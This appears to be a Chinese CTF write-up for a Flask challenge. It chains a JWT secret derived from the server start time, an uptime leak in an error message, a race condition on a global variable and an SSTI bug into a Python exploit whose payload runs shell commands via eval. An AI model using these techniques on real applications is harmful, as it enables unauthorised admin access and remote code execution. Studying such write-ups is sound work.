废弃的网站
首先我们对后端代码进行审计,发现了一个隐藏的 /admin 路由,其中包含了一个非常基础的 SSTI 漏洞。
python
@app.route("/admin", methods=['GET'])
@admin_required
def admin_panel():
global tempuser
# 明显的 SSTI。
return render_template_string("Welcome Back, %s" % tempuser['name'])如果你仍不知道 SSTI 是什么,可以去看看第三周的 whossti 以学习这方面知识点。
接下来的难点在于如何抵达这个漏洞点以及如何控制这里的 tempuser['name'],可以在源码的第 42 行看到后端处理了这个 tempuser 变量,并且在后面为他赋值。
那么我们只需要控制这里的 session 就可以控制 tempuser 的具体值了。session 是使用 JWT 进行加密的,在后端源码的最开头存在一个 JWT 密钥的生成方式:直接利用系统启动时间进行加密运算后生成。
继续观察源码第 33 行,存在这样一行代码:
python
except jwt.InvalidTokenError:
abort(401, description = f"Session expired. Please in again. System has been running {round(time.time(time_started)} seconds.")
return f(*args, **kwargs)直接向我们表明了当前系统已经运行的时间,我们直接通过当前时间减去这个时间即可。为了防止精度上存在的问题,特地使用了 round 函数来避免误差。
但是在 admin_required 函数中表明了当前 user_data['name'] 只能是 Administrator。不过由于 tempuser 是全局属性,我们就可以用条件竞争的手法来绕过这个限制。
对于全局性的,需要维持的信息而言,非常容易出现条件竞争漏洞。这里的 tempuser 就是例子。
我们仔细梳理整个请求进行的时间线。首先我们发包,然后按照下面的流程进行数据处理:
- 执行
app.before_request中的load_user函数,在这个函数中我们修改了tempuser的具体值。 - 再执行
admin_required函数,对我们的身份进行认证。 - 然后在
admin_panel函数中输出我们当前的tempuser['name']的具体值。
我们现在要绕过第二步的认证,那么可以采取如下竞争方式(一图流):

如此便可以获取我们的 SSTI 结果了。
下面是整个流程的 EXP:
python
import requests, re
url = "http://your-site/"
import jwt, hashlib, time
def get_secret():
response = requests.get(url, cookies={"session": "123"})
print(response.text)
if response.status_code == 401:
Tim = round(time.time()) - int(response.text.split("running ")[1].split(" seconds")[0])
return Tim
return None
def hash_code(x):
return hashlib.sha256(str(x).encode()).hexdigest()
APP_SECRET = get_secret()
print(f"APP_SECRET: {hash_code(APP_SECRET)}")
def test_secret(Tim):
cookies = {
'session': jwt.encode({"id": 1, "role": "admin", "name": "Administrator"}, hash_code(Tim), algorithm='HS256')
}
response = requests.get(url + 'admin', cookies=cookies)
Tim = re.search(r"System has been running (\d+) seconds.", response.text)
if Tim: return False
else: return True
for i in range(-10, 10):
Tim_try = APP_SECRET + i
if test_secret(Tim_try):
print(f"Found time_started: {Tim_try}")
APP_SECRET = hash_code(Tim_try)
break
print(f"Final APP_SECRET: {APP_SECRET}")
payload = "{{config.__class__.__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat /flag\").read()')}}"
print(f'session={jwt.encode({"id": 1, "role": "admin", "name": "Administrator"}, APP_SECRET, algorithm="HS256")}')
print('Exploit payload session='+jwt.encode({"id": 1, "role": "admin", "name": payload}, APP_SECRET, algorithm="HS256"))
# exit(0)
cookies = {
'session': jwt.encode({"id": 1, "role": "admin", "name": "Administrator"}, APP_SECRET, algorithm='HS256')
}
exp_cookies = {
'session': jwt.encode({"id": 1, "role": "admin", "name": f"{payload}"}, APP_SECRET, algorithm='HS256')
}
def send_requests(cookies, times):
for _ in range(times):
res = requests.get(url + "admin", cookies=cookies)
if res.status_code == 200:
if "Administrator" not in res.text:
print("Exploit successful!")
print(res.text)
exit(0)
# 双线程
import threading
def attack():
threads = []
for _ in range(10):
t = threading.Thread(target=send_requests, args=(cookies, 2))
t.start()
threads.append(t)
t = threading.Thread(target=send_requests, args=(exp_cookies, 5))
t.start()
threads.append(t)
for t in threads:
t.join()
attack()